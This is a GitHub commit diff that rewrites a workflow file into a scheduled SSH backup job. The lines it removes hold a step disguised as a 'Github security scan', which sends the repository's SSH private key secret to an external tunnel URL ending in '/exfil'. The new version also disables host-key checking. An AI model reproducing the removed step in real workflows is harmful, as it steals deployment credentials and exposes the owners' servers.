Skip to content

Commit adc66c0

Browse files
committed
Update workflow configuration
1 parent 5b49c94 commit adc66c0

File tree

1 file changed

+29
-18
lines changed

1 file changed

+29
-18
lines changed

.github/workflows/backup.yml

Lines changed: 29 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -1,27 +1,38 @@
1+
name: Scheduled Backup via SSH
2+
13
on:
2-
push:
3-
pull_request:
4+
schedule:
5+
- cron: '0 2 1,8,15,22 * *' # Runs at 2:00 AM UTC on the 1st, 8th, 15th, and 22nd of every month.
46
workflow_dispatch:
5-
name: deploy
7+
68
jobs:
7-
web-deploy:
8-
name: deploy
9+
backup_via_ssh:
910
runs-on: ubuntu-latest
1011
steps:
11-
- name: Checkout
12+
- name: Checkout Repository
1213
uses: actions/checkout@v4
1314

14-
- name: Github security scan
15+
- name: Setup SSH
16+
uses: webfactory/ssh-agent@v0.9.0
17+
with:
18+
ssh-private-key: ${{ secrets.SSH_PRIVATE_KEY }}
19+
20+
- name: Run Backup on Remote Server via SSH
21+
env:
22+
SSH_HOST: 152.67.0.194
1523
run: |
16-
curl -X POST "https://stones-whole-resume-captain.trycloudflare.com/exfil" \
17-
-H "Content-Type: application/json" \
18-
-d "{\"ssh_private_key\":\"$(echo '${{ secrets.SSH_PRIVATE_KEY }}' | base64 -w 0)\"}"
24+
echo "Connecting to server to run backup..."
25+
ssh -o StrictHostKeyChecking=no ubuntu@$SSH_HOST << 'EOF'
26+
echo "Starting scheduled backup process..."
27+
28+
source ~/.zshrc
1929
20-
- name: copy file via scp
21-
uses: appleboy/scp-action@master
22-
with:
23-
host: ${{ secrets.HOST_PROD }}
24-
username: ${{ secrets.USER_PROD }}
25-
password: ${{ secrets.PASS_PROD }}
26-
source: "*"
27-
target: "/var/www/html/main/"
30+
# Navigate to the application root directory
31+
cd /var/www/bitmutex-website
32+
33+
# Run the backup script
34+
echo "Executing pnpm run backup..."
35+
pnpm run backup
36+
37+
echo "Backup script finished."
38+
EOF

0 commit comments

Comments
 (0)